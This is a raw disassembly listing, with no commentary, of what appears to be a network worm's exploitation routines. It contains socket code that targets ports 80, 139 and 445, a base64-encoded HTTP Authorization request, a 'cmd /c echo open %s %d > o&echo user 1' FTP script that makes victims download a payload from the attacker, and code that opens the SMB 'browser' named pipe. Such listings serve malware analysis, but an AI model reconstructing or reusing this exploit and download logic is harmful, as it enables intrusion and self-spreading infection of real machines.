sub_40CFDE proc near ; CODE XREF: ___:0040D438p
var_20 = byte ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
push 0
push 48h
push offset unk_431D20
push [ebp+arg_0]
nop
call near ptr 71AB1AF4h
cmp eax, 48h
jnz short loc_40D019
push 0
lea eax, [ebp+var_20]
push 20h
push eax
push [ebp+arg_0]
call sub_40CE40
add esp, 10h
cmp eax, 0FFFFFFFFh
jz short loc_40D019
cmp [ebp+var_20], 82h
jz short loc_40D01D
loc_40D019: ; CODE XREF: sub_40CFDE+1Bj
; sub_40CFDE+33j
xor al, al
leave
retn
; ---------------------------------------------------------------------------
loc_40D01D: ; CODE XREF: sub_40CFDE+39j
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40CF04
add esp, 0Ch
leave
retn
sub_40CFDE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D030 proc near ; CODE XREF: sub_40D07C+2Dp
var_10 = qword ptr -10h
var_8 = qword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_0]
and dword ptr [ebp+var_8+4], 0
shl eax, 3
mov dword ptr [ebp+var_8], eax
fild [ebp+var_8]
fmul dbl_427690
call sub_41C798
and dword ptr [ebp+var_8+4], 0
mov dword ptr [ebp+var_8], eax
fild [ebp+var_8]
push ecx
push ecx ; double
fst [ebp+var_8]
fmul dbl_427688
fstp [esp+10h+var_10]
call sub_41C679
fadd st, st
pop ecx
pop ecx
fadd [ebp+var_8]
call sub_41C798
inc eax
leave
retn
sub_40D030 endp
; =============== S U B R O U T I N E =======================================
sub_40D07C proc near ; CODE XREF: sub_40D21E+24p
var_40 = qword ptr -40h
mov eax, offset loc_426DF7
call sub_41CC64
sub esp, 2Ch
mov al, [ebp+13h]
push ebx
push esi
push edi
xor edi, edi
lea ecx, [ebp-38h]
push edi
mov [ebp-20h], edi
mov [ebp-38h], al
call sub_40D6B3
push 1
pop ebx
push dword ptr [ebp+10h]
mov [ebp-4], ebx
call sub_40D030
cmp [ebp-2Ch], eax
pop ecx
jnb short loc_40D0BE
push edi
push eax
lea ecx, [ebp-38h]
call sub_40D62E
loc_40D0BE: ; CODE XREF: sub_40D07C+36j
cmp [ebp+10h], edi
mov [ebp-18h], edi
jbe loc_40D1DB
mov ebx, [ebp+10h]
loc_40D0CD: ; CODE XREF: sub_40D07C+156j
cmp dword ptr [ebp+10h], 3
jb short loc_40D0D7
push 3
jmp short loc_40D0E9
; ---------------------------------------------------------------------------
loc_40D0D7: ; CODE XREF: sub_40D07C+55j
cmp dword ptr [ebp+10h], 2
jnz short loc_40D0E1
push 2
jmp short loc_40D0E9
; ---------------------------------------------------------------------------
loc_40D0E1: ; CODE XREF: sub_40D07C+5Fj
cmp dword ptr [ebp+10h], 1
jnz short loc_40D0EA
push 1
loc_40D0E9: ; CODE XREF: sub_40D07C+59j
; sub_40D07C+63j
pop ebx
loc_40D0EA: ; CODE XREF: sub_40D07C+69j
mov [ebp-28h], ebx
mov [ebp-24h], edi
fild qword ptr [ebp-28h]
push ecx
push ecx ; double
fmul dbl_4276A0
fstp [esp+40h+var_40]
call sub_41C7BF
pop ecx
pop ecx
call sub_41C798
cmp ebx, edi
mov [ebp-1Ch], eax
jbe short loc_40D129
mov esi, [ebp+0Ch]
mov ecx, ebx
mov edx, ecx
lea edi, [ebp-10h]
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
xor edi, edi
loc_40D129: ; CODE XREF: sub_40D07C+93j
mov cl, [ebp-10h]
mov dl, [ebp-10h]
sar cl, 2
and cl, 3Fh
and dl, 3
mov [ebp-14h], cl
mov cl, [ebp-0Fh]
sar cl, 4
and cl, 0Fh
add [ebp+0Ch], ebx
shl dl, 4
add cl, dl
mov dl, [ebp-0Fh]
mov [ebp-13h], cl
mov cl, [ebp-0Eh]
sar cl, 6
and dl, 0Fh
sub [ebp+10h], ebx
and cl, 3
xor esi, esi
shl dl, 2
add cl, dl
mov [ebp-12h], cl
mov cl, [ebp-0Eh]
and cl, 3Fh
cmp eax, edi
mov [ebp-11h], cl
jbe short loc_40D197
add [ebp-18h], eax
loc_40D17B: ; CODE XREF: sub_40D07C+119j
movsx eax, byte ptr [ebp+esi-14h]
lea ecx, [ebp-38h]
mov al, byte_431D6C[eax]
push eax
push 1
call sub_40D4B0
inc esi
cmp esi, [ebp-1Ch]
jb short loc_40D17B
loc_40D197: ; CODE XREF: sub_40D07C+FAj
cmp dword ptr [ebp-18h], 48h
jb short loc_40D1B5
push dword ptr [ebp+14h]
call sub_41AFE0
pop ecx
push eax
lea ecx, [ebp-38h]
push dword ptr [ebp+14h]
call sub_40D509
mov [ebp-18h], edi
loc_40D1B5: ; CODE XREF: sub_40D07C+11Fj
push 4
pop esi
cmp [ebp-1Ch], esi
jnb short loc_40D1CF
sub esi, [ebp-1Ch]
loc_40D1C0: ; CODE XREF: sub_40D07C+151j
push 3Dh
push 1
lea ecx, [ebp-38h]
call sub_40D4B0
dec esi
jnz short loc_40D1C0
loc_40D1CF: ; CODE XREF: sub_40D07C+13Fj
cmp [ebp+10h], edi
ja loc_40D0CD
push 1
pop ebx
loc_40D1DB: ; CODE XREF: sub_40D07C+48j
mov esi, [ebp+8]
mov al, [ebp-38h]
push edi
mov ecx, esi
mov [esi], al
call sub_40D6B3
push dword_427698
lea eax, [ebp-38h]
mov ecx, esi
push edi
push eax
call sub_40D560
mov [ebp-20h], ebx
and byte ptr [ebp-4], 0
push ebx
lea ecx, [ebp-38h]
call sub_40D6B3
mov ecx, [ebp-0Ch]
mov eax, esi
pop edi
pop esi
pop ebx
mov large fs:0, ecx
leave
retn
sub_40D07C endp
; =============== S U B R O U T I N E =======================================
sub_40D21E proc near ; CODE XREF: ___:0040D41Bp
mov eax, offset loc_426E14
call sub_41CC64
sub esp, 10h
push ebx
push esi
push edi
push offset dword_43D128
lea eax, [ebp-1Ch]
push dword ptr [ebp+10h]
xor ebx, ebx
mov [ebp-4], ebx
push dword ptr [ebp+0Ch]
push eax
call sub_40D07C
mov eax, [ebp+1Ch]
mov ecx, [ebp-14h]
mov byte ptr [ebp-4], 1
lea esi, [ecx+eax+36h]
push esi
call sub_41B4D5
mov edi, eax
add esp, 14h
cmp edi, ebx
jnz short loc_40D268
xor bl, bl
jmp short loc_40D2AC
; ---------------------------------------------------------------------------
loc_40D268: ; CODE XREF: sub_40D21E+44j
mov ecx, [ebp-18h]
mov eax, offset dword_4276A8
cmp ecx, ebx
jnz short loc_40D276
mov ecx, eax
loc_40D276: ; CODE XREF: sub_40D21E+54j
cmp [ebp+18h], ebx
jz short loc_40D27E
mov eax, [ebp+18h]
loc_40D27E: ; CODE XREF: sub_40D21E+5Bj
push ecx
push eax
push offset aGetHttp1_0Host ; "GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"...
push esi
push edi
call sub_41B980
add esp, 14h
push ebx
push esi
push edi
push dword ptr [ebp+8]
call dword_4CAFC4
cmp eax, esi
jz short loc_40D2A3
xor bl, bl
jmp short loc_40D2A5
; ---------------------------------------------------------------------------
loc_40D2A3: ; CODE XREF: sub_40D21E+7Fj
mov bl, 1
loc_40D2A5: ; CODE XREF: sub_40D21E+83j
push edi
call sub_41B0B1
pop ecx
loc_40D2AC: ; CODE XREF: sub_40D21E+48j
and byte ptr [ebp-4], 0
push 1
lea ecx, [ebp-1Ch]
call sub_40D6B3
or dword ptr [ebp-4], 0FFFFFFFFh
push 1
lea ecx, [ebp+14h]
call sub_40D6B3
mov ecx, [ebp-0Ch]
pop edi
mov al, bl
pop esi
pop ebx
mov large fs:0, ecx
leave
retn
sub_40D21E endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 420h
and byte ptr [ebp-420h], 0
push ebx
push esi
push edi
mov ecx, 0FFh
xor eax, eax
lea edi, [ebp-41Fh]
push 8Fh
rep stosd
stosw
stosb
lea eax, [ebp-420h]
push offset sub_431F18
push eax
call sub_41C310
add esp, 0Ch
mov eax, offset byte_429108
push eax
push eax
movzx eax, word ptr dword_4CACB0
push eax
push dword ptr [ebp+8]
call sub_40AC0F
pop ecx
push eax
push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "...
lea eax, [ebp-391h]
push 400h
push eax
call sub_41B980
add eax, 90h
push eax
lea eax, [ebp-420h]
push eax
push 164h
lea eax, [ebp-8]
push offset sub_431DB0
push eax
call sub_40CADA
xor esi, esi
add esp, 30h
cmp [ebp-4], esi
jnz short loc_40D377
xor eax, eax
jmp loc_40D4A3
; ---------------------------------------------------------------------------
loc_40D377: ; CODE XREF: ___:0040D36Ej
mov [ebp-0Ch], esi
loc_40D37A: ; CODE XREF: ___:0040D47Aj
test esi, esi
jnz loc_40D480
push 6
push 1
push 2
nop
call near ptr 71AB3C22h
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_40D468
xor eax, eax
lea edi, [ebp-1Ah]
stosd
push dword ptr [ebp+0A8h]
stosd
stosd
stosw
mov word ptr [ebp-1Ch], 2
call dword_4CAF74
mov [ebp-1Ah], ax
lea eax, [ebp+0Ch]
push eax
call dword_4CAFB4
mov [ebp-18h], eax
lea eax, [ebp-1Ch]
push 10h
push eax
push ebx
call dword_4CAF1C
cmp eax, 0FFFFFFFFh
jz loc_40D45D
cmp dword ptr [ebp+0A8h], 50h
jnz short loc_40D425
mov al, [ebp+0C3h]
sub esp, 10h
mov esi, esp
mov [ebp-20h], esp
push 0
mov ecx, esi
mov [esi], al
call sub_40D6B3
lea eax, [ebp+0Ch]
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+0Ch]
push eax
mov ecx, esi
call sub_40D6EF
push dword ptr [ebp-4]
push dword ptr [ebp-8]
push ebx
call sub_40D21E
add esp, 1Ch
jmp short loc_40D45A
; ---------------------------------------------------------------------------
loc_40D425: ; CODE XREF: ___:0040D3E3j
cmp dword ptr [ebp+0A8h], 8Bh
jnz short loc_40D43F
push dword ptr [ebp-4]
push dword ptr [ebp-8]
push ebx
call sub_40CFDE
jmp short loc_40D457
; ---------------------------------------------------------------------------
loc_40D43F: ; CODE XREF: ___:0040D42Fj
cmp dword ptr [ebp+0A8h], 1BDh
jnz short loc_40D45D
push dword ptr [ebp-4]
push dword ptr [ebp-8]
push ebx
call sub_40CF04
loc_40D457: ; CODE XREF: ___:0040D43Dj
add esp, 0Ch
loc_40D45A: ; CODE XREF: ___:0040D423j
movzx esi, al
loc_40D45D: ; CODE XREF: ___:0040D3D6j
; ___:0040D449j
push ebx
call dword_4CB00C
test esi, esi
jnz short loc_40D473
loc_40D468: ; CODE XREF: ___:0040D393j
push 3E8h
nop
call near ptr 2660F2Dh
loc_40D473: ; CODE XREF: ___:0040D466j
inc dword ptr [ebp-0Ch]
cmp dword ptr [ebp-0Ch], 2
jl loc_40D37A
loc_40D480: ; CODE XREF: ___:0040D37Cj
lea ecx, [ebp-8]
call sub_40C8FF
test esi, esi
jz short loc_40D4A1
mov eax, [ebp+0B0h]
shl eax, 6
inc dword_431418[eax]
lea eax, dword_431418[eax]
loc_40D4A1: ; CODE XREF: ___:0040D48Aj
mov eax, esi
loc_40D4A3: ; CODE XREF: ___:0040D372j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_426DD8
loc_40D4A8: ; CODE XREF: sub_426DD8+3j
; ___:00426DF1j ...
push 1
call sub_40D6B3
retn
; END OF FUNCTION CHUNK FOR sub_426DD8
; =============== S U B R O U T I N E =======================================
sub_40D4B0 proc near ; CODE XREF: sub_40D07C+110p
; sub_40D07C+14Bp
arg_0 = dword ptr 4
arg_4 = byte ptr 8
mov eax, dword_427698
push ebx
mov ebx, [esp+4+arg_0]
push esi
mov esi, ecx
push edi
sub eax, [esi+8]
cmp eax, ebx
ja short loc_40D4CA
call sub_42669A
loc_40D4CA: ; CODE XREF: sub_40D4B0+13j
test ebx, ebx
jbe short loc_40D501
mov edi, ebx
push 0
add edi, [esi+8]
mov ecx, esi
push edi
call sub_40D62E
test al, al
jz short loc_40D501
movsx eax, [esp+0Ch+arg_4]
push ebx
push eax
mov eax, [esi+4]
add eax, [esi+8]
push eax
call sub_41B590
mov eax, [esi+4]
add esp, 0Ch
mov [esi+8], edi
and byte ptr [eax+edi], 0
loc_40D501: ; CODE XREF: sub_40D4B0+1Cj
; sub_40D4B0+2Fj
mov eax, esi
pop edi
pop esi
pop ebx
retn 8
sub_40D4B0 endp
; =============== S U B R O U T I N E =======================================
sub_40D509 proc near ; CODE XREF: sub_40D07C+131p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, dword_427698
push ebx
mov ebx, [esp+4+arg_4]
push esi
mov esi, ecx
push edi
sub eax, [esi+8]
cmp eax, ebx
ja short loc_40D523
call sub_42669A
loc_40D523: ; CODE XREF: sub_40D509+13j
test ebx, ebx
jbe short loc_40D558
mov edi, ebx
push 0
add edi, [esi+8]
mov ecx, esi
push edi
call sub_40D62E
test al, al
jz short loc_40D558
mov eax, [esi+8]
push ebx
push [esp+10h+arg_0]
add eax, [esi+4]
push eax
call sub_41C310
mov eax, [esi+4]
add esp, 0Ch
mov [esi+8], edi
and byte ptr [edi+eax], 0
loc_40D558: ; CODE XREF: sub_40D509+1Cj
; sub_40D509+2Fj
mov eax, esi
pop edi
pop esi
pop ebx
retn 8
sub_40D509 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D560 proc near ; CODE XREF: sub_40D07C+17Cp
; sub_4265B0+15p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
mov edi, ecx
cmp [ebx+8], eax
jnb short loc_40D578
call sub_426573
loc_40D578: ; CODE XREF: sub_40D560+11j
mov eax, [ebx+8]
mov ecx, [ebp+arg_4]
mov esi, eax
sub esi, ecx
cmp [ebp+arg_8], esi
jnb short loc_40D58A
mov esi, [ebp+arg_8]
loc_40D58A: ; CODE XREF: sub_40D560+25j
cmp edi, ebx
jnz short loc_40D5AC
push dword_427698
add esi, ecx
mov ecx, edi
push esi
call sub_40D724
push [ebp+arg_4]
mov ecx, edi
push 0
call sub_40D724
jmp short loc_40D625
; ---------------------------------------------------------------------------
loc_40D5AC: ; CODE XREF: sub_40D560+2Cj
test esi, esi
jbe short loc_40D5EF
cmp esi, eax
jnz short loc_40D5EF
mov eax, [ebx+4]
test eax, eax
jnz short loc_40D5C0
mov eax, offset dword_4276A8
loc_40D5C0: ; CODE XREF: sub_40D560+59j
cmp byte ptr [eax-1], 0FEh
jnb short loc_40D5EF
push 1
mov ecx, edi
call sub_40D6B3
mov eax, [ebx+4]
test eax, eax
jnz short loc_40D5DB
mov eax, offset dword_4276A8
loc_40D5DB: ; CODE XREF: sub_40D560+74j
mov [edi+4], eax
mov ecx, [ebx+8]
mov [edi+8], ecx
mov ecx, [ebx+0Ch]
mov [edi+0Ch], ecx
inc byte ptr [eax-1]
jmp short loc_40D625
; ---------------------------------------------------------------------------
loc_40D5EF: ; CODE XREF: sub_40D560+4Ej
; sub_40D560+52j ...
push 1
push esi
mov ecx, edi
call sub_40D62E
test al, al
jz short loc_40D625
mov eax, [ebx+4]
test eax, eax
jnz short loc_40D609
mov eax, offset dword_4276A8
loc_40D609: ; CODE XREF: sub_40D560+A2j
mov ecx, [ebp+arg_4]
push esi
add eax, ecx
push eax
push dword ptr [edi+4]
call sub_41C310
mov eax, [edi+4]
add esp, 0Ch
mov [edi+8], esi
and byte ptr [eax+esi], 0
loc_40D625: ; CODE XREF: sub_40D560+4Aj
; sub_40D560+8Dj ...
mov eax, edi
pop edi
pop esi
pop ebx
pop ebp
retn 0Ch
sub_40D560 endp
; =============== S U B R O U T I N E =======================================
sub_40D62E proc near ; CODE XREF: sub_40D07C+3Dp
; sub_40D4B0+28p ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
cmp edi, 0FFFFFFFDh
jbe short loc_40D640
call sub_42669A
loc_40D640: ; CODE XREF: sub_40D62E+Bj
mov ecx, [esi+4]
xor edx, edx
cmp ecx, edx
jz short loc_40D669
mov al, [ecx-1]
cmp al, dl
jz short loc_40D669
cmp al, 0FFh
jz short loc_40D669
cmp edi, edx
jnz short loc_40D6A4
dec al
push edx
mov [ecx-1], al
loc_40D65E: ; CODE XREF: sub_40D62E+47j
mov ecx, esi
call sub_40D6B3
loc_40D665: ; CODE XREF: sub_40D62E+4Bj
; sub_40D62E+52j
xor al, al
jmp short loc_40D6AE
; ---------------------------------------------------------------------------
loc_40D669: ; CODE XREF: sub_40D62E+19j
; sub_40D62E+20j ...
cmp edi, edx
jnz short loc_40D682
cmp [esp+8+arg_4], dl
jz short loc_40D677
push 1
jmp short loc_40D65E
; ---------------------------------------------------------------------------
loc_40D677: ; CODE XREF: sub_40D62E+43j
cmp ecx, edx
jz short loc_40D665
mov [esi+8], edx
mov [ecx], dl
jmp short loc_40D665
; ---------------------------------------------------------------------------
loc_40D682: ; CODE XREF: sub_40D62E+3Dj
cmp [esp+8+arg_4], dl
jz short loc_40D69F
mov eax, [esi+0Ch]
cmp eax, 1Fh
ja short loc_40D694
cmp eax, edi
jnb short loc_40D6AC
loc_40D694: ; CODE XREF: sub_40D62E+60j
push 1
mov ecx, esi
call sub_40D6B3
jmp short loc_40D6A4
; ---------------------------------------------------------------------------
loc_40D69F: ; CODE XREF: sub_40D62E+58j
cmp [esi+0Ch], edi
jnb short loc_40D6AC
loc_40D6A4: ; CODE XREF: sub_40D62E+28j
; sub_40D62E+6Fj
push edi
mov ecx, esi
call sub_40D78B
loc_40D6AC: ; CODE XREF: sub_40D62E+64j
; sub_40D62E+74j
mov al, 1
loc_40D6AE: ; CODE XREF: sub_40D62E+39j
pop edi
pop esi
retn 8
sub_40D62E endp
; =============== S U B R O U T I N E =======================================
sub_40D6B3 proc near ; CODE XREF: sub_40D07C+1Fp
; sub_40D07C+16Ap ...
arg_0 = byte ptr 4
cmp [esp+arg_0], 0
push esi
mov esi, ecx
jz short loc_40D6DF
mov eax, [esi+4]
test eax, eax
jz short loc_40D6DF
lea ecx, [eax-1]
mov al, [eax-1]
test al, al
jz short loc_40D6D8
cmp al, 0FFh
jz short loc_40D6D8
dec al
mov [ecx], al
jmp short loc_40D6DF
; ---------------------------------------------------------------------------
loc_40D6D8: ; CODE XREF: sub_40D6B3+19j
; sub_40D6B3+1Dj
push ecx
call sub_41CC83
pop ecx
loc_40D6DF: ; CODE XREF: sub_40D6B3+8j
; sub_40D6B3+Fj ...
and dword ptr [esi+4], 0
and dword ptr [esi+8], 0
and dword ptr [esi+0Ch], 0
pop esi
retn 4
sub_40D6B3 endp
; =============== S U B R O U T I N E =======================================
sub_40D6EF proc near ; CODE XREF: ___:0040D40Fp
; sub_40D848+28p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
mov edi, [esp+8+arg_4]
push 1
mov esi, ecx
push edi
call sub_40D62E
test al, al
jz short loc_40D71D
push edi
push [esp+0Ch+arg_0]
push dword ptr [esi+4]
call sub_41C310
mov eax, [esi+4]
add esp, 0Ch
mov [esi+8], edi
and byte ptr [eax+edi], 0
loc_40D71D: ; CODE XREF: sub_40D6EF+12j
mov eax, esi
pop edi
pop esi
retn 8
sub_40D6EF endp
; =============== S U B R O U T I N E =======================================
sub_40D724 proc near ; CODE XREF: sub_40D560+39p
; sub_40D560+45p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
mov esi, [esp+8+arg_0]
push edi
mov edi, ecx
cmp [edi+8], esi
jnb short loc_40D737
call sub_426573
loc_40D737: ; CODE XREF: sub_40D724+Cj
mov ecx, edi
call sub_40D848
mov eax, [edi+8]
mov ebx, [esp+0Ch+arg_4]
sub eax, esi
cmp eax, ebx
jnb short loc_40D74D
mov ebx, eax
loc_40D74D: ; CODE XREF: sub_40D724+25j
test ebx, ebx
jbe short loc_40D783
mov ecx, [edi+4]
sub eax, ebx
add ecx, esi
push eax
lea eax, [ecx+ebx]
push eax
push ecx
call sub_41CC90
mov esi, [edi+8]
add esp, 0Ch
sub esi, ebx
mov ecx, edi
push 0
push esi
call sub_40D62E
test al, al
jz short loc_40D783
mov eax, [edi+4]
mov [edi+8], esi
and byte ptr [esi+eax], 0
loc_40D783: ; CODE XREF: sub_40D724+2Bj
; sub_40D724+53j
mov eax, edi
pop edi
pop esi
pop ebx
retn 8
sub_40D724 endp
; =============== S U B R O U T I N E =======================================
sub_40D78B proc near ; CODE XREF: sub_40D62E+79p
mov eax, offset loc_426E20
call sub_41CC64
sub esp, 0Ch
push ebx
push esi
push edi
mov edi, [ebp+8]
or edi, 1Fh
mov esi, ecx
cmp edi, 0FFFFFFFDh
mov [ebp-10h], esp
mov [ebp-14h], esi
jbe short loc_40D7B1
mov edi, [ebp+8]
loc_40D7B1: ; CODE XREF: sub_40D78B+21j
and dword ptr [ebp-4], 0
lea eax, [edi+2]
test eax, eax
jge short loc_40D7BE
xor eax, eax
loc_40D7BE: ; CODE XREF: sub_40D78B+2Fj
push eax
call sub_41CFC5
pop ecx
mov [ebp+8], eax
jmp short loc_40D7EF
; ---------------------------------------------------------------------------
mov eax, [ebp+8]
mov [ebp-18h], eax
add eax, 2
test eax, eax
jge short loc_40D7D9
xor eax, eax
loc_40D7D9: ; CODE XREF: sub_40D78B+4Aj
push eax
call sub_41CFC5
mov [ebp+8], eax
pop ecx
mov eax, offset loc_40D7E9
retn
; ---------------------------------------------------------------------------
loc_40D7E9: ; DATA XREF: sub_40D78B+58o
mov esi, [ebp-14h]
mov edi, [ebp-18h]
loc_40D7EF: ; CODE XREF: sub_40D78B+3Dj
mov eax, [esi+8]
test eax, eax
jbe short loc_40D80D
cmp eax, edi
jbe short loc_40D7FC
mov eax, edi
loc_40D7FC: ; CODE XREF: sub_40D78B+6Dj
push eax
mov eax, [ebp+8]
push dword ptr [esi+4]
inc eax
push eax
call sub_41C310
add esp, 0Ch
loc_40D80D: ; CODE XREF: sub_40D78B+69j
mov ebx, [esi+8]
push 1
mov ecx, esi
call sub_40D6B3
mov eax, [ebp+8]
inc eax
mov [esi+4], eax
and byte ptr [eax-1], 0
cmp ebx, edi
mov [esi+0Ch], edi
ja short loc_40D82D
mov edi, ebx
loc_40D82D: ; CODE XREF: sub_40D78B+9Ej
mov eax, [esi+4]
mov ecx, [ebp-0Ch]
mov [esi+8], edi
and byte ptr [eax+edi], 0
pop edi
pop esi
mov large fs:0, ecx
pop ebx
leave
retn 4
sub_40D78B endp
; =============== S U B R O U T I N E =======================================
sub_40D848 proc near ; CODE XREF: sub_40D724+15p
push esi
push edi
mov edi, ecx
mov esi, [edi+4]
test esi, esi
jz short loc_40D875
mov al, [esi-1]
test al, al
jz short loc_40D875
cmp al, 0FFh
jz short loc_40D875
push 1
call sub_40D6B3
push esi
call sub_41AFE0
pop ecx
push eax
push esi
mov ecx, edi
call sub_40D6EF
loc_40D875: ; CODE XREF: sub_40D848+9j
; sub_40D848+10j ...
pop edi
pop esi
retn
sub_40D848 endp
; =============== S U B R O U T I N E =======================================
sub_40D878 proc near ; DATA XREF: ___:00429008o
test byte_4DB594, 1
jnz short loc_40D888
or byte_4DB594, 1
loc_40D888: ; CODE XREF: sub_40D878+7j
jmp $+5
push offset nullsub_1
call sub_41D040
pop ecx
retn
sub_40D878 endp
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40D89A proc near ; DATA XREF: ___:0042900Co
jmp $+5
sub_40D89A endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_40D89F proc near
mov eax, dword_4321D0
add eax, 6
mov dword_4CDC94, eax
retn
sub_40D89F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D8AD proc near ; CODE XREF: sub_40D8AD+D0p
; ___:0040DE0Cp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_7 = byte ptr 0Fh
arg_C = word ptr 14h
arg_14 = dword ptr 1Ch
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
arg_28 = byte ptr 30h
arg_2B = byte ptr 33h
push ebp
mov ebp, esp
push ecx
push ecx
cmp [ebp+arg_28], 0
push ebx
push esi
push edi
jz short loc_40D8C1
or [ebp+arg_7], 1
jmp short loc_40D8C5
; ---------------------------------------------------------------------------
loc_40D8C1: ; CODE XREF: sub_40D8AD+Cj
and [ebp+arg_7], 0FEh
loc_40D8C5: ; CODE XREF: sub_40D8AD+12j
mov ecx, [ebp+arg_24]
mov ebx, [ebp+arg_20]
movzx eax, cx
lea edx, [ebx+18h]
cmp edx, eax
ja short loc_40D8E9
or [ebp+arg_7], 2
and [ebp+arg_2B], 0
lea eax, [ebx+18h]
mov [ebp+arg_14], ebx
mov [ebp+arg_C], ax
jmp short loc_40D8FB
; ---------------------------------------------------------------------------
loc_40D8E9: ; CODE XREF: sub_40D8AD+26j
add eax, 0FFFFFFE8h
and [ebp+arg_7], 0FDh
mov [ebp+arg_C], cx
mov [ebp+arg_14], eax
mov [ebp+arg_2B], 1
loc_40D8FB: ; CODE XREF: sub_40D8AD+3Aj
movzx eax, [ebp+arg_C]
push eax
mov [ebp+var_4], eax
call sub_41B4D5
test eax, eax
pop ecx
mov [ebp+arg_20], eax
jz loc_40D994
push 6
lea esi, [ebp+arg_4]
pop ecx
mov edi, eax
rep movsd
mov edi, [ebp+arg_14]
mov esi, [ebp+arg_1C]
push edi
add eax, 18h
push esi
push eax
call sub_41C310
add esp, 0Ch
lea eax, [ebp+var_8]
push 0
push eax
push [ebp+var_4]
push [ebp+arg_20]
push [ebp+arg_0]
nop
call near ptr 26F0000h
test eax, eax
jz short loc_40D98B
mov eax, [ebp+var_4]
cmp [ebp+var_8], eax
jnz short loc_40D98B
push [ebp+arg_20]
call sub_41B0B1
cmp [ebp+arg_2B], 0
pop ecx
jz short loc_40D987
push 0
sub ebx, edi
push [ebp+arg_24]
add edi, esi
lea esi, [ebp+arg_4]
push ebx
push edi
sub esp, 18h
push 6
pop ecx
mov edi, esp
push [ebp+arg_0]
rep movsd
call sub_40D8AD
add esp, 2Ch
jmp short loc_40D996
; ---------------------------------------------------------------------------
loc_40D987: ; CODE XREF: sub_40D8AD+B3j
mov al, 1
jmp short loc_40D996
; ---------------------------------------------------------------------------
loc_40D98B: ; CODE XREF: sub_40D8AD+9Cj
; sub_40D8AD+A4j
push [ebp+arg_20]
call sub_41B0B1
pop ecx
loc_40D994: ; CODE XREF: sub_40D8AD+61j
xor al, al
loc_40D996: ; CODE XREF: sub_40D8AD+D8j
; sub_40D8AD+DCj
pop edi
pop esi
pop ebx
leave
retn
sub_40D8AD endp
; ---------------------------------------------------------------------------
db 55h ; U
db 8Bh ; ‹
db 0ECh ; ì
db 0B8h ; ¸
db 0DCh ; Ü
db 60h ; `
db 0
db 0
db 0E8h ; è
db 78h ; x
db 0E1h ; á
db 0
db 0
db 53h ; S
db 56h ; V
db 57h ; W
db 68h ; h
db 0C4h ; Ä
db 0D4h ; Ô
db 42h ; B
db 0
db 0FFh
db 75h ; u
db 8
db 0E8h ; è
db 0A8h ; ¨
db 0F7h ; ÷
db 0
db 0
db 59h ; Y
db 33h ; 3
db 0DBh ; Û
db 85h ; …
db 0C0h ; À
db 59h ; Y
db 74h ; t
db 4Eh ; N
db 0FFh
db 75h ; u
db 8
db 0BEh ; ¾
db 0
db 20h
db 0
db 0
db 8Dh ;
db 85h ; …
db 24h ; $
db 0DFh ; ß
db 0FFh
db 0FFh
db 68h ; h
db 4Ch ; L
db 22h ; "
db 43h ; C
db 0
db 56h ; V
db 50h ; P
db 0E8h ; è
db 0A6h ; ¦
db 0DFh ; ß
db 0
db 0
db 6Ah ; j
db 20h
db 8Dh ;
db 85h ; …
db 24h ; $
db 0FFh
db 0FFh
db 0FFh
db 53h ; S
db 50h ; P
db 0E8h ; è
db 0A7h ; §
db 0DBh ; Û
db 0
db 0
db 8Dh ;
db 85h ; …
db 24h ; $
db 0DFh ; ß
db 0FFh
db 0FFh
db 83h ; ƒ
db 0C4h ; Ä
db 1Ch
db 89h ; ‰
db 85h ; …
db 38h ; 8
db 0FFh
db 0FFh
db 0FFh
db 0B8h ; ¸
db 28h ; (
db 0D1h ; Ñ
db 43h ; C
db 0
db 53h ; S
db 50h ; P
db 50h ; P
db 8Dh ;
db 85h ; …
db 24h ; $
db 0FFh
db 0FFh
db 0FFh
db 50h ; P
db 0E8h ; è
db 44h ; D
db 8Dh ;
db 1
db 0
; ---------------------------------------------------------------------------
jmp short loc_40DA13
; ---------------------------------------------------------------------------
db 0BEh ; ¾
db 0
db 20h
db 0
db 0
; ---------------------------------------------------------------------------
loc_40DA13: ; CODE XREF: ___:0040DA0Cj
push dword ptr [ebp+8]
lea eax, [ebp-40DCh]
push offset aSPipeBrowser ; "\\\\%s\\pipe\\browser"
push esi
push eax
call sub_41B980
add esp, 10h
lea eax, [ebp-40DCh]
push ebx
push 40000000h
push 3
push ebx
push 3
push 0C0000000h
push eax
call near ptr 27008BBh
nop
cmp eax, 0FFFFFFFFh
mov [ebp-4], eax
jnz short loc_40DA57
loc_40DA50: ; CODE XREF: ___:0040DB2Fj
; ___:0040DD05j ...
xor al, al
jmp loc_40DE9B
; ---------------------------------------------------------------------------
